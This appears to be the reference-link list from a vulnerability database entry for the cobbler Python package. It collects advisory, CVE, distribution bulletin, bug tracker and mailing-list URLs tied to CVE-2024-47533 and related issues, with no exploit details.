github.com/pypa/advisory-database/tree/main/vulns/cobbler/PYSEC-2026-316.yaml
pypi.org/project/cobbler
Show 81 moreShow less
github.com/advisories/GHSA-m26c-fcgh-cp6h
github.com/CVEProject/cvelistV5/tree/main/cves/2024/47xxx/CVE-2024-47533.json
github.com/cobbler/cobbler
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2025-1411
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2025-1412
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2025-1413
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2025-1414
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2025-1435
suse.com/support/update/announcement/2024/suse-su-20244006-1
bugzilla.suse.com/1146701
bugzilla.suse.com/1211899
bugzilla.suse.com/1212985
bugzilla.suse.com/1217003
bugzilla.suse.com/1217338
bugzilla.suse.com/1217978
bugzilla.suse.com/1218090
bugzilla.suse.com/1219450
bugzilla.suse.com/1219645
bugzilla.suse.com/1219887
bugzilla.suse.com/1221435
bugzilla.suse.com/1221505
bugzilla.suse.com/1223312
bugzilla.suse.com/1223988
bugzilla.suse.com/1224108
bugzilla.suse.com/1224209
bugzilla.suse.com/1225603
bugzilla.suse.com/1225619
bugzilla.suse.com/1225960
bugzilla.suse.com/1226090
bugzilla.suse.com/1226439
bugzilla.suse.com/1226461
bugzilla.suse.com/1226478
bugzilla.suse.com/1226687
bugzilla.suse.com/1226917
bugzilla.suse.com/1227133
bugzilla.suse.com/1227334
bugzilla.suse.com/1227406
bugzilla.suse.com/1227526
bugzilla.suse.com/1227543
bugzilla.suse.com/1227599
bugzilla.suse.com/1227606
bugzilla.suse.com/1227746
bugzilla.suse.com/1228036
bugzilla.suse.com/1228101
bugzilla.suse.com/1228130
bugzilla.suse.com/1228147
bugzilla.suse.com/1228286
bugzilla.suse.com/1228326
bugzilla.suse.com/1228345
bugzilla.suse.com/1228412
bugzilla.suse.com/1228545
bugzilla.suse.com/1228638
bugzilla.suse.com/1228851
bugzilla.suse.com/1228945
bugzilla.suse.com/1229079
bugzilla.suse.com/1229178
bugzilla.suse.com/1229260
bugzilla.suse.com/1229339
bugzilla.suse.com/1231332
bugzilla.suse.com/1231852
bugzilla.suse.com/1231900
bugzilla.suse.com/1231922
suse.com/security/cve/CVE-2024-47533
suse.com/security/cve/CVE-2024-49502
suse.com/security/cve/CVE-2024-49503
suse.com/support/update/announcement/2024/suse-su-20244007-1
ubuntu.com/security/CVE-2024-47533
cve.org/CVERecord?id=CVE-2024-47533
lists.opensuse.org/archives/list/[email protected]/thread/NP6TUCO4CMINP73KVXN3DS2DMBSTQ3B4
lists.opensuse.org/archives/list/[email protected]/thread/CGWWFM26ZMG5SCPMDNQQNYHHTROXVX2Q
bugzilla.suse.com/1203478
bugzilla.suse.com/1204900
bugzilla.suse.com/1205489
bugzilla.suse.com/1205749
bugzilla.suse.com/1206060
bugzilla.suse.com/1206160
bugzilla.suse.com/1206520
bugzilla.suse.com/1207595
bugzilla.suse.com/1209149
bugzilla.suse.com/1219933
lists.opensuse.org/archives/list/[email protected]/thread/2LAXV37YWWRKUA3I3RM5AVTLLGOJCZUG
Left out here: the rest of 1 source description. The JSON record has them.